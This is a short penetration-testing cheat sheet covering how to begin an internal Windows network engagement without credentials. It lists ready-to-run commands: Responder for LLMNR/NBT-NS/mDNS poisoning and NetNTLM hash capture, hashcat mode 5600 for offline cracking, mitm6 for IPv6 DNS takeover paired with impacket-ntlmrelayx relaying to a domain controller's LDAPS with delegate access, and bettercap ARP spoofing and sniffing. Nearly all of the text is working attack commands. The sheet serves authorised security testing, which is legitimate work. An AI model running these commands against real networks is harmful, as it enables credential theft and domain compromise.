On an internal network you do not always need credentials to begin; you can make the network hand them to you. Poison name resolution (LLMNR / NBT-NS / mDNS) or take over IPv6 DNS and Windows machines authenticate to you. Capture the NetNTLM hashes to crack offline, or relay them straight into a live session.
Responder: poison LLMNR / NBT-NS / mDNS and capture NetNTLM hashes
sudo responder -I <INTERFACE>
Analyze mode first (listen, do not poison) to stay safe on a client engagement:
sudo responder -I <INTERFACE> -A
Captured hashes save to /usr/share/responder/logs -> crack with: hashcat -m 5600
mitm6: take over IPv6 DNS (Windows prefers IPv6) and funnel it to your relay
sudo mitm6 -d <DOMAIN>
Pair with ntlmrelayx to relay the coerced auth into LDAP or SMB
impacket-ntlmrelayx -6 -t ldaps://<DC-IP> -wh wpad.<DOMAIN> --delegate-access
ARP spoof MITM with bettercap: sit between a target and the gateway, then sniff
sudo bettercap -iface <INTERFACE>
In bettercap: set arp.spoof.targets <TARGET-IP>; arp.spoof on; net.sniff on
Responder or mitm6 captures a NetNTLM hash within minutes on most internal networks → crack it, or relay it with ntlmrelayx to land a session without ever cracking. The usual unauthenticated start of an internal engagement (see the AD Attack Path and NTLM Relay & Coercion).